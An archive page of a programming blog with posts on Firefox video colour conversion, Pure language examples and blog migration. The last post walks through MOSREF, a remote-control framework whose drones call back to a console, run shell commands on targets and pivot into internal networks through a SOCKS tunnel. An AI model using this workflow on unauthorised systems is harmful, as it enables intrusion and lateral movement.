Bluish Coder

Changes to Firefox YCbCr Color Conversion Code

2010-03-12T13:30:00+13:00

I posted previously about colour conversion libraries. To replace the liboggplay conversion routines we decided to try the Chromium libraries.

Bug 551277 adds the Chromium code and integrates it with the new video layer painting code. The Chromium code uses a C fallback if MMX is not available but this is done at compile time. I modified it do runtime detection using Mozilla’s SSE.h and moved the generic C routine from the Linux specific implementation to be used on all platforms that don’t have MMX. Some other minor modifications were done (function name, namspacing).

I added an ‘update.sh’ script that can be used to update against the latest Chromium code. Given the path to the Chromium source it applies a patch for the changes I made.

Bug 551378 adds YCbCr 4:4:4 conversion (YV24). The Chromium code supported 4:2:0 and 4:2:2 (YV12 and YV16 respectively). Theora also allows 4:4:4 per spec. There aren’t many 4:4:4 Theora videos out in the wild and the fix in this bug only adds support in the slower C implementation. I detect if the video is a 4:4:4 video and fallback to the C code.

At some point optimized MMX routines should be done for this. I’ve raised Bug 551844 for this. This would probably make a good first bug for anyone who wants something small and self contained to work on. It would be good to contribute this back to Chromium when done too.

Xiph has a test suite with example videos in the different formats.

Vorbis Player implemented in Pure

2010-02-25T14:00:00+13:00

After writing the preforking echo server example in Pure I wanted to try something a bit more complex. I’ve written Ogg players in various languages before so I decided to do one in Pure to compare. Here’s some of the ones I’ve written in the past:

oggplayer
plogg
Io Language Addons
Factor Ogg Player
An unreleased Haskell Vorbis player

I wrapped the libogg and libvorbis libraries using the Pure FFI. A program ‘pure-gen’ is included with Pure that will generate FFI wrappers given a C include file. I ran this against libogg and libvorbis. The generated Pure wrappers look like:

extern int ogg_page_version(ogg_page*);
extern int ogg_page_continued(ogg_page*);
extern int ogg_page_bos(ogg_page*);

As you can see Pure FFI definitions look very much like the C definitions.

I decided to model an Ogg file as a list of physical pages. This is esentially a list containing elements of the libogg ogg_page object. I have a Pure function that will take this list of pages and return a list of packets for each logical bitstream in the file. For vorbis playback I take this list of packets for the vorbis bitstream and produce a list of decoded PCM data.

Pure is a strict language by default but provides an ’&’ special form to perform lazy evaluation. I use this to make sure all the returned lists mentioned above are lazy. Playing the lazy list of decoded PCM data never loads the entire file in memory. The file is read, converted into packets and decoded as each element of the PCM data list is requested.

For audio playback I use OpenAL. I queue the PCM data to an OpenAL source up to a limit of 50 queued items, removing them as they get processed and adding new ones when room becomes available.

Here’s what some of the API to process the Ogg files looks like in Pure. First load the player code. This will also load the Ogg, Vorbis and OpenAL wrappers:

$ pure -i player.pure

From the Pure REPL, play a vorbis file:

> play_vorbis (sources!0) "test.ogg";

Load an Ogg file getting a lazy list of all pages in the file:

> using namespace ogg;
> let p = file_pages "test.ogg";
> p;
ogg_page (#<pointer 0x9e61cc8>,[...]):#<thunk 0xb7259b38>

Get a list of all packets and the serial number of the first logical bitstream in the list of pages:

> let (stream1,serialno) = packets p;
> serialno;
1426627898
> stream1;
ogg_packet (#<pointer 0x9dd98f0>,[...]):#<thunk 0xb725bce0>

Get the next logical bitstream:

> let p2 = filter (\x->ogg_page_serialno x ~= serialno) p;
> p2;
#<thunk 0xb725dc30>
> let (stream2,serialno2) = packets p2;
> serialno2;
629367739
> stream2;
ogg_packet (#<pointer 0x9cfcf08>,[...]):#<thunk 0xb725c988>

Note that all these results are lazily evaluated so the entire file is not loaded into memory. If we look at the original list of pages you’ll see what has been read so far (two pages):

> p;
ogg_page (...):ogg_page (...):#<thunk 0xb725dd98>

Get all the streams in the file:

> let s = all_streams p;

Get all the vorbis streams:

> let v = vorbis_streams s;

Get the first vorbis stream. I ignore the serial number here (this is what the _ does):

> let (v1, _) = v!0;

Decode the vorbis header packets and intialize a vorbis decoder for the first vorbis stream:

> let decoder = vorbis_header v1;

Get a lazy list of all the decoded PCM data from the vorbis stream:

> let pcm = pcm_data decoder;

The mechanics of getting the decoding floating point data from libvorbis into Pure and then back to the OpenAL C API is made easier due to it being possible to easily convert to and from raw C pointers and Pure matrix objects.

For example, the data returned from the vorbis call to decode the data is an array of pointers pointing to an array of floats. To convert this to a Pure matrix with dimensions (c,n) where ‘c’ is the number of channels and ‘n’ is the number of samples:

vorbis_synthesis_read dsp samples $$ matrix m
when
  f0 = get_pointer data;
  floats = [get_pointer (f0+(x*4))|x=0..(channels-1)];
  m = map (float_matrix samples) floats;
end;

This code uses a list comprehension to return a list of ‘pointer to array of floats’. One pointer for each channel in the audio data. It then maps over this list producing a new list containing a matrix of float’s. This is list of matrices each of which contains the audio data for a channel. The ‘matrix m’ call converts this to a single matrix of dimensions (c,n).

OpenAL expects the data as a pointer to a contiguous matrix of floats with dimensions (n,c) so when writing to OpenAL the matrix needs to be transposed:

play_pcm source rate pcm@(x:xs) =
  ....
  queue_sample source rate (transpose x) $$
  play source $$
  play_pcm source rate xs;

This transposed matrix is later converted from floats to 16 bit integers and ‘packed’ so it is contiguous in memory, and a pointer to the raw memory passed to OpenAL:

buffer16 s = pack (map clamp s);  
...
data = buffer16 ...pcmdata...;
alBufferData ... (cooked (short_pointer NULL data)) ((#data) * (sizeof sshort_t)) ...;

The ‘cooked’ call means the C memory has ‘free’ called on it when nothing in Pure is holding onto it anymore.

One downside with lazy lists is it can be easy to accidently read the entire file and decode everything before playing. This will cause issues with large Ogg files. I managed to avoid that and files play in constant memory. An iteratee style approach might be interesting to try as an alternative to lazy lists. I’d like to try decoding Theora files and doing a/v sync in Pure at some point as well.

I haven’t used Pure much but it seemed to be fairly simple to put this together. I’d be interested in feedback on the approach (using lazy lists) and Pure style issues in the code.

The code for this is at http://github.com/doublec/pure-ogg-player.

HTML 5 Video Element for Internet Explorer

2010-02-22T13:54:00+13:00

Cristian Adam has been working on a plugin for Internet Explorer that implements the HTML 5 video element.

He has released a new version of the Xiph Ogg Codecs with a technical preview of the <video> element for IE. A screencast of it working is available at Cristian’s website.

Pure Preforking Echo Server Example

2010-02-20T23:50:00+13:00

A few months back there were some examples of preforking servers implemented in various languages showing how posix API’s could be used in those languages. Some examples were:

I’m learning the Pure programming language and took a stab at doing a Pure implementation. Pure comes with a good FFI for calling C functions and the needed posix calls are provided in the ‘posix’ library that comes with it.

It doesn’t have any socket routines however but there is a library by Mike Maul called pure-lang-extras that provides this. With pure-lang-extras installed the preforking echo server looks like this:

using ffi, system;
using posix, posix::socket;
using namespace posix, posix::socket;

let sockfd = socket AF_INET SOCK_STREAM 0;
let yes = {1};
setsockopt sockfd SOL_SOCKET SO_REUSEADDR (int_pointer yes) (sizeof sint_t) 0;
let ai = make_sockaddr AF_INET "*" 5000;
bind_socket sockfd ai;
listen sockfd 10;

fork_child f = if pid == 0 then f pid $$ exit 0 else pid when pid = fork end;

child pid  =  fprintf file "Child %d echo> " getpid $$
              fflush file $$
              fprintf file "%s\n" (fgets file) $$
              fclose file $$
              child pid 
              when
                client = accept_socket sockfd ai;
                file = fdopen client "r+";
              end;

let children = [fork_child child|x=0..2];
do (printf "Forked: %d\n") children;
do (\n->(waitpid n NULL 0)) children;

This can be run (assuming it’s in a file called ‘test.pure’) with:

$ pure -x test.pure
Forked: 10433
Forked: 10434
Forked: 10435

It will fork three worker processes all waiting on the same socket provided by the main process. The main process waits until all three worker processes complete or are killed. You can test it out by using telnet to port 5000:

$ telnet localhost 5000
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Child 10433 echo> test test test
test test test
Connection closed by foreign host.

If you do this a few times you’ll see it cycle through the worker processes.

The example code mostly does posix calls and thin wrapper’s around C functions so it doesn’t show off much of the interesting parts of Pure. Pure has automatic currying (or partial evaluation) of functions by missing arguments from the function. For example, this code:

do (printf "Forked: %d\n") children;

printf is like the C printf function. It takes a format string followed by a tuple containing arguments for each format directive in that string. In the example above it has one of these, ‘%d’. The code (printf "Forked: %d\n") is missing the last argument expected to printf. Thanks to partial evaluation this evaluates to a function that takes one argument. do calls this function for each element in the children list, passing the list element to the function resulting in the printf call. It’s equivalent to this more verbose code:

do (\n -> printf "Forked: %d\n" n) children;

Another Pure feature used is the ability to get raw pointers to matrices. The code {1} is a one row matrix containing one element, the interger ‘1’. A later line gets a raw pointer to this, converting it to a array of integers if it isn’t already in that format: int_pointer yes.

To fork the child processes I use a list comprehension:

let children = [fork_child child|x=0..2];

0..2 is a short hand syntax to create a list of numbers from 0 to 2. The [...|....] is a list comprehension. The left hand side is called for each element of the right hand side and the result accumulated in a list. For example, at the Pure REPL:

> [x*2|x=0..5];
[0,2,4,6,8,10]

For more on Pure there is quite a bit of documentation:

Comparing Colour Space Conversion Libraries

2010-02-19T17:00:00+13:00

The libtheora api gives YCbCr data as the result of a decoded frame. The current method of displaying data through Firefox requires it to be converted to RGBA. The conversion of YCbCr to RGBA turns out to be a bottleneck.

In current Firefox builds we use the conversion routines provided by liboggplay. The Ogg backend is being modified to reduce the third party library usage (Started by me and continued now by Chris Pearce) and the liboggplay usage will go away. I looked at some of the colour space conversion routines available to get an indication of their relative performance.

I tested the following colour space conversion routines:

Using integer math and lookup tables.
A basic C version using floating point math.
liboggplay. BSD license.
FrameWave (also known as the AMD Performance Library). Apache License 2.0.
Intel Integrated Performance Primitives. Commercial license.
Moonlight’s colour space conversion routines. I tested the C and MMX implementation from Moonlight. LGPL2 license.
The conversion routines from Chromium. BSD license.
libswscale. LGPL license.

For testing I modified plogg to decode a theora file and time the colour space conversion portion of the process. I have a series of command line switches to pick the implementation of the colour space conversion. I used a movie trailer Theora file I had handy (480x260) and these were the results:

Implementation	Total Time	Frame Time	Relative
FrameWave	1.00752	0.00033584	0.65
Chromium	1.02053	0.00034017	0.66
Intel IPP (optimized)	1.32477	0.00044159	0.85
Moonlight MMX	1.35934	0.00045311	0.87
liboggplay	1.55765	0.00051921	1.00
libswscale	2.68307	0.00089435	1.72
Intel IPP (default)	4.21107	0.00140369	2.70
Integer C	4.81204	0.00160401	3.09
Moonlight C	6.80419	0.00226806	4.37
Floating Point C	11.16770	0.00372257	7.17

The ‘Total Time’ is the time spent in the conversion code for every frame in the file (3,000 frames). ‘Frame Time’ is the average time per frame. ‘Relative’ is the time taken relative to the liboggplay implementation. Since this is what we are currently using this makes it easy to see what sort of improvement we could get by switching. The testing was done on a 1.83 GHz Core Duo laptop running Linux.

From the results it seems that FrameWave and Chromium are the fastest and very close in performance. The license for the Chromium colour space conversion code is probably a bit better fit for our usage though and it’s smaller and easier to integrate if we were to choose to use it. The ‘default’ Intel IPP version uses the non-processor specific implementation whereas the ‘optimized’ uses routines optimized for the particular processor on the machine I used for testing.

I’m interested in any comments on the libraries listed and recommendations for other libraries that I could try. I’ll put the source for the test program on github shortly and update this post with the link. Results from different machines would be useful.

On2 Stockholders Approve Google Merger

2010-02-18T15:00:00+13:00

Last year Google announced that they were going to acquire On2 Technologies. This is the company that produced (and open sourced) the VP3 video codec that Theora is based on. Google wrote on their blog:

Although we’re not in a position to discuss specific product plans until after the deal closes, we are committed to innovation in video quality on the web, and we believe that On2 Technologies’ team and technology will help us further that goal.

The deal has been delayed awaiting approval of the majority of the On2 stockholders to agree on the acquisition. According to the On2 website this happened today:

On2 Technologies, Inc. (NYSE Amex: ONT) today announced that its stockholders approved the merger of On2 with a wholly owned subsidiary of Google Inc. at its Reconvened Special Meeting held earlier today.

On2 stockholders holding in excess of a majority of the outstanding shares of On2 Common Stock voted in favor of the merger proposal.

It’ll be interesting to see what comes from this. On2 have other video codecs. (VP6 used in Flash on some video sites, VP7 and their latest codec VP8.

Dealing with my archived Blogger posts

2010-02-14T16:54:00+13:00

I’ve stopped using Blogger for the weblog and have moved to using Jekyll.

I’ve set things up so I can edit the posts on my local push, push to my server using git and it publishes the new post.

Blogger provides a way to export all existing posts and comments as an XML file. I used this to manually import a few posts to test out Jekyll but then decided this was way to much work to convert everything. Instead I opted to create posts that link to my original Blogger ones so at least the archives and tags list in Jekyll will allow listing the posts and titles.

To import the existing archived blogger posts I wrote a program to read from the Blogger export file, extract the title, post tags/categories and existing URL and create Jekyll equivalents. It seems to have worked ok and I’ll manually fix up any problems if I find them.

I wrote the importer in the Pure Programming Language to have a play with that language. I dabbled with it when it first came out but this was my first time using it in anger. It worked out pretty well. The core of the code to write out the posts looks like:

write_tag_header fd [] = ();
write_tag_header fd (x:xs) = fprintf fd "tags:\n" ();

write_tags fd (x:xs) = fprintf fd "  - %s\n" x $$ 
                       write_tags_fd xs;
write_tags fd [] = ();

create_post post = fprintf fd "---\n" () $$
                   fprintf fd "layout: post\n" () $$
                   fprintf fd "title: %s\n" title $$
                   write_tag_header fd tags $$
                   write_tags fd tags $$
                   fprintf fd "---\n" () $$
                   fprintf fd "Original Post [%s](%s)\n" (title,href) $$
                   fclose fd
                   when
                       filename = post_filename post;
                       fd = fopen filename "w";
                       title = article_title post;
                       href = article_url post;
                       tags = article_tags post;
                  end;

Basically I used the Pure XML library to get a list of posts (I use an XPATH expression to get the relevant parts of the post from the Blogger XML). For each post I then call create_post on it:

map create_post all_posts

I didn’t go crazy and convert the actual HTML content into the markdown format I’m using fo the Jekyll posts and convert everything completely - maybe a task for another day.

LCA 2010 talk about implementing HTML 5 video in Firefox

2010-02-13T23:27:00+13:00

Last month I attended linux.conf.au 2010 and gave a talk on the different paths we took implementing HTML 5 video in Firefox. I wrote the talk using Eric Meyer’s S5 Slide system with the video demos embedded or linked from the slides themselves. You can view the slides here: http://www.bluishcoder.co.nz/lca2010. To see the videos you’ll need to be running a browser that supports HTML 5 video and the Ogg Theora codec (Chrome, Firefox, Opera alpha builds, Safari with a plugin).

Moving away from blogger

2010-02-13T19:23:00+13:00

Blogger are deprecating their ftp publishing support and are recommending users to switch to their custom domain feature where they host the blog files for you. I prefer to keep my posts on my own server so will be switching weblog systems in the near future.

This will break existing links to Atom feeds for specific labels (eg. the feed for Mozilla specific posts) as they are on a blogger controlled domain. So if you’re reading this through one of those Atom feeds and want to continue with it then you might want to switch to:

http://bluishcoder.co.nz/tags/[tagname]/atom.xml

For example, the Mozilla specific posts will be in http://bluishcoder.co.nz/tags/mozilla/atom.xml.

My existing posts will remain at their current URL’s.

Using the Wasp Lisp Secure Remote Injection Framework (MOSREF)

2009-11-28T11:24:00+13:00

MOSREF is a secure remote injection framework written in Wasp Lisp (which I previously wrote about here). With MOSREF you have a ‘console’ program running which can create dones applications that are run on a target system.

The console and drones can communicate with each other, executing shell commands or Wasp Lisp code. Drones can create other drones to ‘bridge’ bridge communications so the console can send commands to drones it is not directly connected too.

Lisp code can be compiled and sent to drones to execute. One of the ‘built in’ capabilities is a Socks proxy server. This can be run on a drone and data is tunneled to the console which the controller can use as a socks proxy.

MOSREF isn’t built by default with Wasp. To build it you need to run ‘waspc’ to compile and create an executable (example assumes you are in the root of the Wasp source directory):

$ cd mod
$ waspc -exe ../mosref bin/mosref
BUILD: bin/mosref
BUILD: core/macro
BUILD: core/config
BUILD: site/config
...
BUILD: mosref/cmd/with
BUILD: mosref/cmds
BUILD: bin/mosref
$ chmod +x ../mosref
$ rlwrap ../moseref
console> help
Commands: clear <key> ...
          cp <src-file> <dst-file>
          do <lisp-expr>
          drone <file> <id> <platform>
          exit
          help [i<command>]
          load <path>
          nodes
          on <node-id> [<command>]
          proxy [<portno> [<secret>]]
          recover <id>
          set [<key>[=<value>] [<command>]]
          sh <cmd>
          with <key>[=<value>] [<command>]

The first thing you need to do on the running console is set the IP address and the port it will listen on (Replacing xx.xx.xx.xx with the IP address):

console> set addr=xx.xx.xx.xx
Set.
console> set port=10000
Set.

Now you need to create a drone executable to be run on the target system:

console> drone drone1 foo linux-x86
Drone executable created.
Listening for drone on 10000...

This creates an executable for Linux systems called ‘drone1’. It is given the name node name ‘foo’. It will show in the list of nodes available from the console:

console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
       foo offline

When the ‘drone1’ executable is run on a target system it will connect to the console using an encrypted connection. You will need to find a way to copy and run the executable onto the target. The following shows it being run on the target:

target$ ./drone1
  DRONE: Preparing keys...
  DRONE: Sending Drone Public Key...
  DRONE: Sending Drone IV...
  DRONE: Reading Console IV...
  DRONE: CONSOLE IV CT is ...
  DRONE: CONSOLE IV PT is ...
  DRONE: Confirming Console IV...
  DRONE: Waiting for Console to confirm Drone IV...
  DRONE: Affiliation complete....

The connection will show on the console:

console> nodes
NODES: console online address: xx.xx.xx.xx port: 10000
       foo online

Notice it shows ‘foo’ is now online. It’s now possible to execute commands on the target machine by sending them to the drone. Using ‘sh’ you can execute shell commands. From the console:

console> on foo sh ifconfig
eth0      Link encap:Ethernet  HWaddr ...
          inet addr:yy.yy.yy.yy
...
          RX bytes:2458924520 (2.2 GB)  TX bytes:2458924520 (2.2 GB)
console> on foo set addr=yy.yy.yy.yy
Set.
console> on foo set port=10000
Set.

Here we execute ‘ifconfig’ on the target so we can find out the IP address. The output of ‘ifconfig’ is sent back to the console. Using this information the addr and port is set on the drone. This can be used to have the target create new drones on internal machines that only it can access. It will then act as a bridge between the console and the internal machine.

As well as running shell commands you can run Wasp Lisp code:

console> on foo do (+ 1 2)
:: 3
console> on foo load lib/http-file-server.ms
:: spawn-http-file-server
console> on foo do (offer-http-file 2080 "/test" "text/plain" "Hello world!")
:: [queue 824A098]

Using ‘on foo do’ we compile a Lisp expression and send it to ‘foo’ to be run. In this case a simple addition. ‘on foo load’ will load a Lisp file located on the console, compile it, and send the byte code to be run on ‘foo’. Then we ‘on foo do’ to run a function contained in that file on the ‘foo’ machine. In this case, it runs a simple webserver. Any Lisp code can be sent and run.

It’s possible to copy files between nodes too. In this next example we create another drone that will be run on a machine internal to the network that the target is on. Note that the build is performed on the console so we need to copy the executable from there to the target.

console> on foo drone drone2 bar linux-x86
Drone executable created.
Listening for drone on 10000...
console> cp console:/home/console/waspvm/mod/drone2 foo:/tmp/drone2
Copy from console:/home/console/waspvm/mod/drone2 to foo:/tmp/drone2

Using some magic means (an exploit, copying file using shell commands on the target drone, etc) we get ‘drone2’ running on another machine available internally on the target network:

target2$ ./drone2
  DRONE: Preparing keys...
  DRONE: Sending Drone Public Key...
  DRONE: Sending Drone IV...
  DRONE: Reading Console IV...
  DRONE: CONSOLE IV CT is ...
  DRONE: CONSOLE IV PT is ...
  DRONE: Confirming Console IV...
  DRONE: Waiting for Console to confirm Drone IV...
  DRONE: Affiliation complete....

From the console we now see the ‘bar’ node:

console> nodes
NODES: bar online
       console online address: xx.xx.xx.xx port: 10000
foo online address: yy.yy.yy.yy port: 10000

MOSREF has a ‘proxy’ command that lets you set up a Socks 4 proxy on the console that tunnels traffic to and from a target node. Here we set up a proxy to the ‘bar’ node:

console> on bar proxy 5000
SOCKS Proxy created, listening on port 5000.

This will result in the ‘console’ machine having a Socks 4 proxy running on port 5000. If you configure Firefox to use this proxy you can access local webservers available from the internal network that ‘bar’ can see. Note that ‘console’ can’t see ‘bar’ directly. It is tunnelling traffic to ‘foo’, from there to ‘bar’, then back from ‘bar’ to ‘foo’ and to ‘console.

The source for MOSREF is in the Wasp Lisp distribution and makes for a good body of Wasp Lisp code for learning.